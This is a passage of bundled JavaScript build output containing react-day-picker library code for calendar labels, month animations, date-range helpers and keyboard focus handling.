54196 // node_modules/react-day-picker/dist/esm/helpers/getYearOptions.js
54197 function getYearOptions(navStart, navEnd, formatters2, dateLib) {
54198 if (!navStart)
54199 return void 0;
54200 if (!navEnd)
54201 return void 0;
54202 const { startOfYear: startOfYear2, endOfYear: endOfYear2, addYears: addYears3, getYear: getYear2, isBefore: isBefore3, isSameYear: isSameYear2 } = dateLib;
54203 const firstNavYear = startOfYear2(navStart);
54204 const lastNavYear = endOfYear2(navEnd);
54205 const years = [];
54206 let year = firstNavYear;
54207 while (isBefore3(year, lastNavYear) || isSameYear2(year, lastNavYear)) {
54208 years.push(year);
54209 year = addYears3(year, 1);
54210 }
54211 return years.map((year2) => {
54212 const label = formatters2.formatYearDropdown(year2, dateLib);
54213 return {
54214 value: getYear2(year2),
54215 label,
54216 disabled: false
54217 };
54218 });
54219 }
54220
54221 // node_modules/react-day-picker/dist/esm/labels/index.js
54222 var labels_exports = {};
54223 __export(labels_exports, {
54224 labelCaption: () => labelCaption,
54225 labelDay: () => labelDay,
54226 labelDayButton: () => labelDayButton,
54227 labelGrid: () => labelGrid,
54228 labelGridcell: () => labelGridcell,
54229 labelMonthDropdown: () => labelMonthDropdown,
54230 labelNav: () => labelNav,
54231 labelNext: () => labelNext,
54232 labelPrevious: () => labelPrevious,
54233 labelWeekNumber: () => labelWeekNumber,
54234 labelWeekNumberHeader: () => labelWeekNumberHeader,
54235 labelWeekday: () => labelWeekday,
54236 labelYearDropdown: () => labelYearDropdown
54237 });
54238
54239 // node_modules/react-day-picker/dist/esm/labels/labelGrid.js
54240 function labelGrid(date, options2, dateLib) {
54241 return (dateLib ?? new DateLib(options2)).format(date, "LLLL y");
54242 }
54243 var labelCaption = labelGrid;
54244
54245 // node_modules/react-day-picker/dist/esm/labels/labelGridcell.js
54246 function labelGridcell(date, modifiers, options2, dateLib) {
54247 let label = (dateLib ?? new DateLib(options2)).format(date, "PPPP");
54248 if (modifiers?.today) {
54249 label = `Today, ${label}`;
54250 }
54251 return label;
54252 }
54253
54254 // node_modules/react-day-picker/dist/esm/labels/labelDayButton.js
54255 function labelDayButton(date, modifiers, options2, dateLib) {
54256 let label = (dateLib ?? new DateLib(options2)).format(date, "PPPP");
54257 if (modifiers.today)
54258 label = `Today, ${label}`;
54259 if (modifiers.selected)
54260 label = `${label}, selected`;
54261 return label;
54262 }
54263 var labelDay = labelDayButton;
54264
54265 // node_modules/react-day-picker/dist/esm/labels/labelNav.js
54266 function labelNav() {
54267 return "";
54268 }
54269
54270 // node_modules/react-day-picker/dist/esm/labels/labelMonthDropdown.js
54271 function labelMonthDropdown(options2) {
54272 return "Choose the Month";
54273 }
54274
54275 // node_modules/react-day-picker/dist/esm/labels/labelNext.js
54276 function labelNext(month) {
54277 return "Go to the Next Month";
54278 }
54279
54280 // node_modules/react-day-picker/dist/esm/labels/labelPrevious.js
54281 function labelPrevious(month) {
54282 return "Go to the Previous Month";
54283 }
54284
54285 // node_modules/react-day-picker/dist/esm/labels/labelWeekday.js
54286 function labelWeekday(date, options2, dateLib) {
54287 return (dateLib ?? new DateLib(options2)).format(date, "cccc");
54288 }
54289
54290 // node_modules/react-day-picker/dist/esm/labels/labelWeekNumber.js
54291 function labelWeekNumber(weekNumber, options2) {
54292 return `Week ${weekNumber}`;
54293 }
54294
54295 // node_modules/react-day-picker/dist/esm/labels/labelWeekNumberHeader.js
54296 function labelWeekNumberHeader(options2) {
54297 return "Week Number";
54298 }
54299
54300 // node_modules/react-day-picker/dist/esm/labels/labelYearDropdown.js
54301 function labelYearDropdown(options2) {
54302 return "Choose the Year";
54303 }
54304
54305 // node_modules/react-day-picker/dist/esm/useAnimation.js
54306 var import_react159 = __toESM(require_react(), 1);
54307 var asHtmlElement = (element) => {
54308 if (element instanceof HTMLElement)
54309 return element;
54310 return null;
54311 };
54312 var queryMonthEls = (element) => [
54313 ...element.querySelectorAll("[data-animated-month]") ?? []
54314 ];
54315 var queryMonthEl = (element) => asHtmlElement(element.querySelector("[data-animated-month]"));
54316 var queryCaptionEl = (element) => asHtmlElement(element.querySelector("[data-animated-caption]"));
54317 var queryWeeksEl = (element) => asHtmlElement(element.querySelector("[data-animated-weeks]"));
54318 var queryNavEl = (element) => asHtmlElement(element.querySelector("[data-animated-nav]"));
54319 var queryWeekdaysEl = (element) => asHtmlElement(element.querySelector("[data-animated-weekdays]"));
54320 function useAnimation(rootElRef, enabled, { classNames, months, focused, dateLib }) {
54321 const previousRootElSnapshotRef = (0, import_react159.useRef)(null);
54322 const previousMonthsRef = (0, import_react159.useRef)(months);
54323 const animatingRef = (0, import_react159.useRef)(false);
54324 (0, import_react159.useLayoutEffect)(() => {
54325 const previousMonths = previousMonthsRef.current;
54326 previousMonthsRef.current = months;
54327 if (!enabled || !rootElRef.current || // safety check because the ref can be set to anything by consumers
54328 !(rootElRef.current instanceof HTMLElement) || // validation required for the animation to work as expected
54329 months.length === 0 || previousMonths.length === 0 || months.length !== previousMonths.length) {
54330 return;
54331 }
54332 const isSameMonth3 = dateLib.isSameMonth(months[0].date, previousMonths[0].date);
54333 const isAfterPreviousMonth = dateLib.isAfter(months[0].date, previousMonths[0].date);
54334 const captionAnimationClass = isAfterPreviousMonth ? classNames[Animation.caption_after_enter] : classNames[Animation.caption_before_enter];
54335 const weeksAnimationClass = isAfterPreviousMonth ? classNames[Animation.weeks_after_enter] : classNames[Animation.weeks_before_enter];
54336 const previousRootElSnapshot = previousRootElSnapshotRef.current;
54337 const rootElSnapshot = rootElRef.current.cloneNode(true);
54338 if (rootElSnapshot instanceof HTMLElement) {
54339 const currentMonthElsSnapshot = queryMonthEls(rootElSnapshot);
54340 currentMonthElsSnapshot.forEach((currentMonthElSnapshot) => {
54341 if (!(currentMonthElSnapshot instanceof HTMLElement))
54342 return;
54343 const previousMonthElSnapshot = queryMonthEl(currentMonthElSnapshot);
54344 if (previousMonthElSnapshot && currentMonthElSnapshot.contains(previousMonthElSnapshot)) {
54345 currentMonthElSnapshot.removeChild(previousMonthElSnapshot);
54346 }
54347 const captionEl = queryCaptionEl(currentMonthElSnapshot);
54348 if (captionEl) {
54349 captionEl.classList.remove(captionAnimationClass);
54350 }
54351 const weeksEl = queryWeeksEl(currentMonthElSnapshot);
54352 if (weeksEl) {
54353 weeksEl.classList.remove(weeksAnimationClass);
54354 }
54355 });
54356 previousRootElSnapshotRef.current = rootElSnapshot;
54357 } else {
54358 previousRootElSnapshotRef.current = null;
54359 }
54360 if (animatingRef.current || isSameMonth3 || // skip animation if a day is focused because it can cause issues to the animation and is better for a11y
54361 focused) {
54362 return;
54363 }
54364 const previousMonthEls = previousRootElSnapshot instanceof HTMLElement ? queryMonthEls(previousRootElSnapshot) : [];
54365 const currentMonthEls = queryMonthEls(rootElRef.current);
54366 if (currentMonthEls && currentMonthEls.every((el) => el instanceof HTMLElement) && previousMonthEls && previousMonthEls.every((el) => el instanceof HTMLElement)) {
54367 animatingRef.current = true;
54368 const cleanUpFunctions = [];
54369 rootElRef.current.style.isolation = "isolate";
54370 const navEl = queryNavEl(rootElRef.current);
54371 if (navEl) {
54372 navEl.style.zIndex = "1";
54373 }
54374 currentMonthEls.forEach((currentMonthEl, index2) => {
54375 const previousMonthEl = previousMonthEls[index2];
54376 if (!previousMonthEl) {
54377 return;
54378 }
54379 currentMonthEl.style.position = "relative";
54380 currentMonthEl.style.overflow = "hidden";
54381 const captionEl = queryCaptionEl(currentMonthEl);
54382 if (captionEl) {
54383 captionEl.classList.add(captionAnimationClass);
54384 }
54385 const weeksEl = queryWeeksEl(currentMonthEl);
54386 if (weeksEl) {
54387 weeksEl.classList.add(weeksAnimationClass);
54388 }
54389 const cleanUp = () => {
54390 animatingRef.current = false;
54391 if (rootElRef.current) {
54392 rootElRef.current.style.isolation = "";
54393 }
54394 if (navEl) {
54395 navEl.style.zIndex = "";
54396 }
54397 if (captionEl) {
54398 captionEl.classList.remove(captionAnimationClass);
54399 }
54400 if (weeksEl) {
54401 weeksEl.classList.remove(weeksAnimationClass);
54402 }
54403 currentMonthEl.style.position = "";
54404 currentMonthEl.style.overflow = "";
54405 if (currentMonthEl.contains(previousMonthEl)) {
54406 currentMonthEl.removeChild(previousMonthEl);
54407 }
54408 };
54409 cleanUpFunctions.push(cleanUp);
54410 previousMonthEl.style.pointerEvents = "none";
54411 previousMonthEl.style.position = "absolute";
54412 previousMonthEl.style.overflow = "hidden";
54413 previousMonthEl.setAttribute("aria-hidden", "true");
54414 const previousWeekdaysEl = queryWeekdaysEl(previousMonthEl);
54415 if (previousWeekdaysEl) {
54416 previousWeekdaysEl.style.opacity = "0";
54417 }
54418 const previousCaptionEl = queryCaptionEl(previousMonthEl);
54419 if (previousCaptionEl) {
54420 previousCaptionEl.classList.add(isAfterPreviousMonth ? classNames[Animation.caption_before_exit] : classNames[Animation.caption_after_exit]);
54421 previousCaptionEl.addEventListener("animationend", cleanUp);
54422 }
54423 const previousWeeksEl = queryWeeksEl(previousMonthEl);
54424 if (previousWeeksEl) {
54425 previousWeeksEl.classList.add(isAfterPreviousMonth ? classNames[Animation.weeks_before_exit] : classNames[Animation.weeks_after_exit]);
54426 }
54427 currentMonthEl.insertBefore(previousMonthEl, currentMonthEl.firstChild);
54428 });
54429 }
54430 });
54431 }
54432
54433 // node_modules/react-day-picker/dist/esm/useCalendar.js
54434 var import_react161 = __toESM(require_react(), 1);
54435
54436 // node_modules/react-day-picker/dist/esm/helpers/getDates.js
54437 function getDates(displayMonths, maxDate, props, dateLib) {
54438 const firstMonth = displayMonths[0];
54439 const lastMonth = displayMonths[displayMonths.length - 1];
54440 const { ISOWeek, fixedWeeks, broadcastCalendar } = props ?? {};
54441 const { addDays: addDays3, differenceInCalendarDays: differenceInCalendarDays3, differenceInCalendarMonths: differenceInCalendarMonths2, endOfBroadcastWeek: endOfBroadcastWeek2, endOfISOWeek: endOfISOWeek2, endOfMonth: endOfMonth3, endOfWeek: endOfWeek3, isAfter: isAfter3, startOfBroadcastWeek: startOfBroadcastWeek2, startOfISOWeek: startOfISOWeek2, startOfWeek: startOfWeek3 } = dateLib;
54442 const startWeekFirstDate = broadcastCalendar ? startOfBroadcastWeek2(firstMonth, dateLib) : ISOWeek ? startOfISOWeek2(firstMonth) : startOfWeek3(firstMonth);
54443 const endWeekLastDate = broadcastCalendar ? endOfBroadcastWeek2(lastMonth) : ISOWeek ? endOfISOWeek2(endOfMonth3(lastMonth)) : endOfWeek3(endOfMonth3(lastMonth));
54444 const nOfDays = differenceInCalendarDays3(endWeekLastDate, startWeekFirstDate);
54445 const nOfMonths = differenceInCalendarMonths2(lastMonth, firstMonth) + 1;
54446 const dates = [];
54447 for (let i3 = 0; i3 <= nOfDays; i3++) {
54448 const date = addDays3(startWeekFirstDate, i3);
54449 if (maxDate && isAfter3(date, maxDate)) {
54450 break;
54451 }
54452 dates.push(date);
54453 }
54454 const nrOfDaysWithFixedWeeks = broadcastCalendar ? 35 : 42;
54455 const extraDates = nrOfDaysWithFixedWeeks * nOfMonths;
54456 if (fixedWeeks && dates.length < extraDates) {
54457 const daysToAdd = extraDates - dates.length;
54458 for (let i3 = 0; i3 < daysToAdd; i3++) {
54459 const date = addDays3(dates[dates.length - 1], 1);
54460 dates.push(date);
54461 }
54462 }
54463 return dates;
54464 }
54465
54466 // node_modules/react-day-picker/dist/esm/helpers/getDays.js
54467 function getDays(calendarMonths) {
54468 const initialDays = [];
54469 return calendarMonths.reduce((days, month) => {
54470 const weekDays = month.weeks.reduce((weekDays2, week) => {
54471 return [...weekDays2, ...week.days];
54472 }, initialDays);
54473 return [...days, ...weekDays];
54474 }, initialDays);
54475 }
54476
54477 // node_modules/react-day-picker/dist/esm/helpers/getDisplayMonths.js
54478 function getDisplayMonths(firstDisplayedMonth, calendarEndMonth, props, dateLib) {
54479 const { numberOfMonths = 1 } = props;
54480 const months = [];
54481 for (let i3 = 0; i3 < numberOfMonths; i3++) {
54482 const month = dateLib.addMonths(firstDisplayedMonth, i3);
54483 if (calendarEndMonth && month > calendarEndMonth) {
54484 break;
54485 }
54486 months.push(month);
54487 }
54488 return months;
54489 }
54490
54491 // node_modules/react-day-picker/dist/esm/helpers/getInitialMonth.js
54492 function getInitialMonth(props, dateLib) {
54493 const { month, defaultMonth, today = dateLib.today(), numberOfMonths = 1, endMonth, startMonth } = props;
54494 let initialMonth = month || defaultMonth || today;
54495 const { differenceInCalendarMonths: differenceInCalendarMonths2, addMonths: addMonths3, startOfMonth: startOfMonth3 } = dateLib;
54496 if (endMonth && differenceInCalendarMonths2(endMonth, initialMonth) < 0) {
54497 const offset3 = -1 * (numberOfMonths - 1);
54498 initialMonth = addMonths3(endMonth, offset3);
54499 }
54500 if (startMonth && differenceInCalendarMonths2(initialMonth, startMonth) < 0) {
54501 initialMonth = startMonth;
54502 }
54503 return startOfMonth3(initialMonth);
54504 }
54505
54506 // node_modules/react-day-picker/dist/esm/helpers/getMonths.js
54507 function getMonths(displayMonths, dates, props, dateLib) {
54508 const { addDays: addDays3, endOfBroadcastWeek: endOfBroadcastWeek2, endOfISOWeek: endOfISOWeek2, endOfMonth: endOfMonth3, endOfWeek: endOfWeek3, getISOWeek: getISOWeek2, getWeek: getWeek2, startOfBroadcastWeek: startOfBroadcastWeek2, startOfISOWeek: startOfISOWeek2, startOfWeek: startOfWeek3 } = dateLib;
54509 const dayPickerMonths = displayMonths.reduce((months, month) => {
54510 const firstDateOfFirstWeek = props.broadcastCalendar ? startOfBroadcastWeek2(month, dateLib) : props.ISOWeek ? startOfISOWeek2(month) : startOfWeek3(month);
54511 const lastDateOfLastWeek = props.broadcastCalendar ? endOfBroadcastWeek2(month) : props.ISOWeek ? endOfISOWeek2(endOfMonth3(month)) : endOfWeek3(endOfMonth3(month));
54512 const monthDates = dates.filter((date) => {
54513 return date >= firstDateOfFirstWeek && date <= lastDateOfLastWeek;
54514 });
54515 const nrOfDaysWithFixedWeeks = props.broadcastCalendar ? 35 : 42;
54516 if (props.fixedWeeks && monthDates.length < nrOfDaysWithFixedWeeks) {
54517 const extraDates = dates.filter((date) => {
54518 const daysToAdd = nrOfDaysWithFixedWeeks - monthDates.length;
54519 return date > lastDateOfLastWeek && date <= addDays3(lastDateOfLastWeek, daysToAdd);
54520 });
54521 monthDates.push(...extraDates);
54522 }
54523 const weeks = monthDates.reduce((weeks2, date) => {
54524 const weekNumber = props.ISOWeek ? getISOWeek2(date) : getWeek2(date);
54525 const week = weeks2.find((week2) => week2.weekNumber === weekNumber);
54526 const day = new CalendarDay(date, month, dateLib);
54527 if (!week) {
54528 weeks2.push(new CalendarWeek(weekNumber, [day]));
54529 } else {
54530 week.days.push(day);
54531 }
54532 return weeks2;
54533 }, []);
54534 const dayPickerMonth = new CalendarMonth(month, weeks);
54535 months.push(dayPickerMonth);
54536 return months;
54537 }, []);
54538 if (!props.reverseMonths) {
54539 return dayPickerMonths;
54540 } else {
54541 return dayPickerMonths.reverse();
54542 }
54543 }
54544
54545 // node_modules/react-day-picker/dist/esm/helpers/getNavMonth.js
54546 function getNavMonths(props, dateLib) {
54547 let { startMonth, endMonth } = props;
54548 const { startOfYear: startOfYear2, startOfDay: startOfDay3, startOfMonth: startOfMonth3, endOfMonth: endOfMonth3, addYears: addYears3, endOfYear: endOfYear2, newDate, today } = dateLib;
54549 const { fromYear, toYear, fromMonth, toMonth } = props;
54550 if (!startMonth && fromMonth) {
54551 startMonth = fromMonth;
54552 }
54553 if (!startMonth && fromYear) {
54554 startMonth = dateLib.newDate(fromYear, 0, 1);
54555 }
54556 if (!endMonth && toMonth) {
54557 endMonth = toMonth;
54558 }
54559 if (!endMonth && toYear) {
54560 endMonth = newDate(toYear, 11, 31);
54561 }
54562 const hasYearDropdown = props.captionLayout === "dropdown" || props.captionLayout === "dropdown-years";
54563 if (startMonth) {
54564 startMonth = startOfMonth3(startMonth);
54565 } else if (fromYear) {
54566 startMonth = newDate(fromYear, 0, 1);
54567 } else if (!startMonth && hasYearDropdown) {
54568 startMonth = startOfYear2(addYears3(props.today ?? today(), -100));
54569 }
54570 if (endMonth) {
54571 endMonth = endOfMonth3(endMonth);
54572 } else if (toYear) {
54573 endMonth = newDate(toYear, 11, 31);
54574 } else if (!endMonth && hasYearDropdown) {
54575 endMonth = endOfYear2(props.today ?? today());
54576 }
54577 return [
54578 startMonth ? startOfDay3(startMonth) : startMonth,
54579 endMonth ? startOfDay3(endMonth) : endMonth
54580 ];
54581 }
54582
54583 // node_modules/react-day-picker/dist/esm/helpers/getNextMonth.js
54584 function getNextMonth(firstDisplayedMonth, calendarEndMonth, options2, dateLib) {
54585 if (options2.disableNavigation) {
54586 return void 0;
54587 }
54588 const { pagedNavigation, numberOfMonths = 1 } = options2;
54589 const { startOfMonth: startOfMonth3, addMonths: addMonths3, differenceInCalendarMonths: differenceInCalendarMonths2 } = dateLib;
54590 const offset3 = pagedNavigation ? numberOfMonths : 1;
54591 const month = startOfMonth3(firstDisplayedMonth);
54592 if (!calendarEndMonth) {
54593 return addMonths3(month, offset3);
54594 }
54595 const monthsDiff = differenceInCalendarMonths2(calendarEndMonth, firstDisplayedMonth);
54596 if (monthsDiff < numberOfMonths) {
54597 return void 0;
54598 }
54599 return addMonths3(month, offset3);
54600 }
54601
54602 // node_modules/react-day-picker/dist/esm/helpers/getPreviousMonth.js
54603 function getPreviousMonth(firstDisplayedMonth, calendarStartMonth, options2, dateLib) {
54604 if (options2.disableNavigation) {
54605 return void 0;
54606 }
54607 const { pagedNavigation, numberOfMonths } = options2;
54608 const { startOfMonth: startOfMonth3, addMonths: addMonths3, differenceInCalendarMonths: differenceInCalendarMonths2 } = dateLib;
54609 const offset3 = pagedNavigation ? numberOfMonths ?? 1 : 1;
54610 const month = startOfMonth3(firstDisplayedMonth);
54611 if (!calendarStartMonth) {
54612 return addMonths3(month, -offset3);
54613 }
54614 const monthsDiff = differenceInCalendarMonths2(month, calendarStartMonth);
54615 if (monthsDiff <= 0) {
54616 return void 0;
54617 }
54618 return addMonths3(month, -offset3);
54619 }
54620
54621 // node_modules/react-day-picker/dist/esm/helpers/getWeeks.js
54622 function getWeeks(months) {
54623 const initialWeeks = [];
54624 return months.reduce((weeks, month) => {
54625 return [...weeks, ...month.weeks];
54626 }, initialWeeks);
54627 }
54628
54629 // node_modules/react-day-picker/dist/esm/helpers/useControlledValue.js
54630 var import_react160 = __toESM(require_react(), 1);
54631 function useControlledValue2(defaultValue2, controlledValue) {
54632 const [uncontrolledValue, setValue] = (0, import_react160.useState)(defaultValue2);
54633 const value = controlledValue === void 0 ? uncontrolledValue : controlledValue;
54634 return [value, setValue];
54635 }
54636
54637 // node_modules/react-day-picker/dist/esm/useCalendar.js
54638 function useCalendar(props, dateLib) {
54639 const [navStart, navEnd] = getNavMonths(props, dateLib);
54640 const { startOfMonth: startOfMonth3, endOfMonth: endOfMonth3 } = dateLib;
54641 const initialMonth = getInitialMonth(props, dateLib);
54642 const [firstMonth, setFirstMonth] = useControlledValue2(
54643 initialMonth,
54644 // initialMonth is always computed from props.month if provided
54645 props.month ? initialMonth : void 0
54646 );
54647 (0, import_react161.useEffect)(() => {
54648 const newInitialMonth = getInitialMonth(props, dateLib);
54649 setFirstMonth(newInitialMonth);
54650 }, [props.timeZone]);
54651 const displayMonths = getDisplayMonths(firstMonth, navEnd, props, dateLib);
54652 const dates = getDates(displayMonths, props.endMonth ? endOfMonth3(props.endMonth) : void 0, props, dateLib);
54653 const months = getMonths(displayMonths, dates, props, dateLib);
54654 const weeks = getWeeks(months);
54655 const days = getDays(months);
54656 const previousMonth = getPreviousMonth(firstMonth, navStart, props, dateLib);
54657 const nextMonth = getNextMonth(firstMonth, navEnd, props, dateLib);
54658 const { disableNavigation, onMonthChange } = props;
54659 const isDayInCalendar = (day) => weeks.some((week) => week.days.some((d3) => d3.isEqualTo(day)));
54660 const goToMonth = (date) => {
54661 if (disableNavigation) {
54662 return;
54663 }
54664 let newMonth = startOfMonth3(date);
54665 if (navStart && newMonth < startOfMonth3(navStart)) {
54666 newMonth = startOfMonth3(navStart);
54667 }
54668 if (navEnd && newMonth > startOfMonth3(navEnd)) {
54669 newMonth = startOfMonth3(navEnd);
54670 }
54671 setFirstMonth(newMonth);
54672 onMonthChange?.(newMonth);
54673 };
54674 const goToDay = (day) => {
54675 if (isDayInCalendar(day)) {
54676 return;
54677 }
54678 goToMonth(day.date);
54679 };
54680 const calendar = {
54681 months,
54682 weeks,
54683 days,
54684 navStart,
54685 navEnd,
54686 previousMonth,
54687 nextMonth,
54688 goToMonth,
54689 goToDay
54690 };
54691 return calendar;
54692 }
54693
54694 // node_modules/react-day-picker/dist/esm/useFocus.js
54695 var import_react162 = __toESM(require_react(), 1);
54696
54697 // node_modules/react-day-picker/dist/esm/helpers/calculateFocusTarget.js
54698 var FocusTargetPriority;
54699 (function(FocusTargetPriority2) {
54700 FocusTargetPriority2[FocusTargetPriority2["Today"] = 0] = "Today";
54701 FocusTargetPriority2[FocusTargetPriority2["Selected"] = 1] = "Selected";
54702 FocusTargetPriority2[FocusTargetPriority2["LastFocused"] = 2] = "LastFocused";
54703 FocusTargetPriority2[FocusTargetPriority2["FocusedModifier"] = 3] = "FocusedModifier";
54704 })(FocusTargetPriority || (FocusTargetPriority = {}));
54705 function isFocusableDay(modifiers) {
54706 return !modifiers[DayFlag.disabled] && !modifiers[DayFlag.hidden] && !modifiers[DayFlag.outside];
54707 }
54708 function calculateFocusTarget(days, getModifiers, isSelected2, lastFocused) {
54709 let focusTarget;
54710 let foundFocusTargetPriority = -1;
54711 for (const day of days) {
54712 const modifiers = getModifiers(day);
54713 if (isFocusableDay(modifiers)) {
54714 if (modifiers[DayFlag.focused] && foundFocusTargetPriority < FocusTargetPriority.FocusedModifier) {
54715 focusTarget = day;
54716 foundFocusTargetPriority = FocusTargetPriority.FocusedModifier;
54717 } else if (lastFocused?.isEqualTo(day) && foundFocusTargetPriority < FocusTargetPriority.LastFocused) {
54718 focusTarget = day;
54719 foundFocusTargetPriority = FocusTargetPriority.LastFocused;
54720 } else if (isSelected2(day.date) && foundFocusTargetPriority < FocusTargetPriority.Selected) {
54721 focusTarget = day;
54722 foundFocusTargetPriority = FocusTargetPriority.Selected;
54723 } else if (modifiers[DayFlag.today] && foundFocusTargetPriority < FocusTargetPriority.Today) {
54724 focusTarget = day;
54725 foundFocusTargetPriority = FocusTargetPriority.Today;
54726 }
54727 }
54728 }
54729 if (!focusTarget) {
54730 focusTarget = days.find((day) => isFocusableDay(getModifiers(day)));
54731 }
54732 return focusTarget;
54733 }
54734
54735 // node_modules/react-day-picker/dist/esm/helpers/getFocusableDate.js
54736 function getFocusableDate(moveBy, moveDir, refDate, navStart, navEnd, props, dateLib) {
54737 const { ISOWeek, broadcastCalendar } = props;
54738 const { addDays: addDays3, addMonths: addMonths3, addWeeks: addWeeks3, addYears: addYears3, endOfBroadcastWeek: endOfBroadcastWeek2, endOfISOWeek: endOfISOWeek2, endOfWeek: endOfWeek3, max: max3, min: min3, startOfBroadcastWeek: startOfBroadcastWeek2, startOfISOWeek: startOfISOWeek2, startOfWeek: startOfWeek3 } = dateLib;
54739 const moveFns = {
54740 day: addDays3,
54741 week: addWeeks3,
54742 month: addMonths3,
54743 year: addYears3,
54744 startOfWeek: (date) => broadcastCalendar ? startOfBroadcastWeek2(date, dateLib) : ISOWeek ? startOfISOWeek2(date) : startOfWeek3(date),
54745 endOfWeek: (date) => broadcastCalendar ? endOfBroadcastWeek2(date) : ISOWeek ? endOfISOWeek2(date) : endOfWeek3(date)
54746 };
54747 let focusableDate = moveFns[moveBy](refDate, moveDir === "after" ? 1 : -1);
54748 if (moveDir === "before" && navStart) {
54749 focusableDate = max3([navStart, focusableDate]);
54750 } else if (moveDir === "after" && navEnd) {
54751 focusableDate = min3([navEnd, focusableDate]);
54752 }
54753 return focusableDate;
54754 }
54755
54756 // node_modules/react-day-picker/dist/esm/helpers/getNextFocus.js
54757 function getNextFocus(moveBy, moveDir, refDay, calendarStartMonth, calendarEndMonth, props, dateLib, attempt = 0) {
54758 if (attempt > 365) {
54759 return void 0;
54760 }
54761 const focusableDate = getFocusableDate(moveBy, moveDir, refDay.date, calendarStartMonth, calendarEndMonth, props, dateLib);
54762 const isDisabled = Boolean(props.disabled && dateMatchModifiers(focusableDate, props.disabled, dateLib));
54763 const isHidden2 = Boolean(props.hidden && dateMatchModifiers(focusableDate, props.hidden, dateLib));
54764 const targetMonth = focusableDate;
54765 const focusDay = new CalendarDay(focusableDate, targetMonth, dateLib);
54766 if (!isDisabled && !isHidden2) {
54767 return focusDay;
54768 }
54769 return getNextFocus(moveBy, moveDir, focusDay, calendarStartMonth, calendarEndMonth, props, dateLib, attempt + 1);
54770 }
54771
54772 // node_modules/react-day-picker/dist/esm/useFocus.js
54773 function useFocus(props, calendar, getModifiers, isSelected2, dateLib) {
54774 const { autoFocus } = props;
54775 const [lastFocused, setLastFocused] = (0, import_react162.useState)();
54776 const focusTarget = calculateFocusTarget(calendar.days, getModifiers, isSelected2 || (() => false), lastFocused);
54777 const [focusedDay, setFocused] = (0, import_react162.useState)(autoFocus ? focusTarget : void 0);
54778 const blur = () => {
54779 setLastFocused(focusedDay);
54780 setFocused(void 0);
54781 };
54782 const moveFocus = (moveBy, moveDir) => {
54783 if (!focusedDay)
54784 return;
54785 const nextFocus = getNextFocus(moveBy, moveDir, focusedDay, calendar.navStart, calendar.navEnd, props, dateLib);
54786 if (!nextFocus)
54787 return;
54788 calendar.goToDay(nextFocus);
54789 setFocused(nextFocus);
54790 };
54791 const isFocusTarget = (day) => {
54792 return Boolean(focusTarget?.isEqualTo(day));
54793 };
54794 const useFocus2 = {
54795 isFocusTarget,
54796 setFocused,
54797 focused: focusedDay,
54798 blur,
54799 moveFocus
54800 };
54801 return useFocus2;
54802 }
54803
54804 // node_modules/react-day-picker/dist/esm/selection/useMulti.js
54805 function useMulti(props, dateLib) {
54806 const { selected: initiallySelected, required, onSelect } = props;
54807 const [internallySelected, setSelected] = useControlledValue2(initiallySelected, onSelect ? initiallySelected : void 0);
54808 const selected = !onSelect ? internallySelected : initiallySelected;
54809 const { isSameDay: isSameDay3 } = dateLib;
54810 const isSelected2 = (date) => {
54811 return selected?.some((d3) => isSameDay3(d3, date)) ?? false;
54812 };
54813 const { min: min3, max: max3 } = props;
54814 const select = (triggerDate, modifiers, e3) => {
54815 let newDates = [...selected ?? []];
54816 if (isSelected2(triggerDate)) {
54817 if (selected?.length === min3) {
54818 return;
54819 }
54820 if (required && selected?.length === 1) {
54821 return;
54822 }
54823 newDates = selected?.filter((d3) => !isSameDay3(d3, triggerDate));
54824 } else {
54825 if (selected?.length === max3) {
54826 newDates = [triggerDate];
54827 } else {
54828 newDates = [...newDates, triggerDate];
54829 }
54830 }
54831 if (!onSelect) {
54832 setSelected(newDates);
54833 }
54834 onSelect?.(newDates, triggerDate, modifiers, e3);
54835 return newDates;
54836 };
54837 return {
54838 selected,
54839 select,
54840 isSelected: isSelected2
54841 };
54842 }
54843
54844 // node_modules/react-day-picker/dist/esm/utils/addToRange.js
54845 function addToRange(date, initialRange, min3 = 0, max3 = 0, required = false, dateLib = defaultDateLib) {
54846 const { from: from2, to } = initialRange || {};
54847 const { isSameDay: isSameDay3, isAfter: isAfter3, isBefore: isBefore3 } = dateLib;
54848 let range;
54849 if (!from2 && !to) {
54850 range = { from: date, to: min3 > 0 ? void 0 : date };
54851 } else if (from2 && !to) {
54852 if (isSameDay3(from2, date)) {
54853 if (required) {
54854 range = { from: from2, to: void 0 };
54855 } else {
54856 range = void 0;
54857 }
54858 } else if (isBefore3(date, from2)) {
54859 range = { from: date, to: from2 };
54860 } else {
54861 range = { from: from2, to: date };
54862 }
54863 } else if (from2 && to) {
54864 if (isSameDay3(from2, date) && isSameDay3(to, date)) {
54865 if (required) {
54866 range = { from: from2, to };
54867 } else {
54868 range = void 0;
54869 }
54870 } else if (isSameDay3(from2, date)) {
54871 range = { from: from2, to: min3 > 0 ? void 0 : date };
54872 } else if (isSameDay3(to, date)) {
54873 range = { from: date, to: min3 > 0 ? void 0 : date };
54874 } else if (isBefore3(date, from2)) {
54875 range = { from: date, to };
54876 } else if (isAfter3(date, from2)) {
54877 range = { from: from2, to: date };
54878 } else if (isAfter3(date, to)) {
54879 range = { from: from2, to: date };
54880 } else {
54881 throw new Error("Invalid range");
54882 }
54883 }
54884 if (range?.from && range?.to) {
54885 const diff = dateLib.differenceInCalendarDays(range.to, range.from);
54886 if (max3 > 0 && diff > max3) {
54887 range = { from: date, to: void 0 };
54888 } else if (min3 > 1 && diff < min3) {
54889 range = { from: date, to: void 0 };
54890 }
54891 }
54892 return range;
54893 }
54894
54895 // node_modules/react-day-picker/dist/esm/utils/rangeContainsDayOfWeek.js
54896 function rangeContainsDayOfWeek(range, dayOfWeek, dateLib = defaultDateLib) {
54897 const dayOfWeekArr = !Array.isArray(dayOfWeek) ? [dayOfWeek] : dayOfWeek;
54898 let date = range.from;
54899 const totalDays = dateLib.differenceInCalendarDays(range.to, range.from);
54900 const totalDaysLimit = Math.min(totalDays, 6);
54901 for (let i3 = 0; i3 <= totalDaysLimit; i3++) {
54902 if (dayOfWeekArr.includes(date.getDay())) {
54903 return true;
54904 }
54905 date = dateLib.addDays(date, 1);
54906 }
54907 return false;
54908 }
54909
54910 // node_modules/react-day-picker/dist/esm/utils/rangeOverlaps.js
54911 function rangeOverlaps(rangeLeft, rangeRight, dateLib = defaultDateLib) {
54912 return rangeIncludesDate(rangeLeft, rangeRight.from, false, dateLib) || rangeIncludesDate(rangeLeft, rangeRight.to, false, dateLib) || rangeIncludesDate(rangeRight, rangeLeft.from, false, dateLib) || rangeIncludesDate(rangeRight, rangeLeft.to, false, dateLib);
54913 }
54914
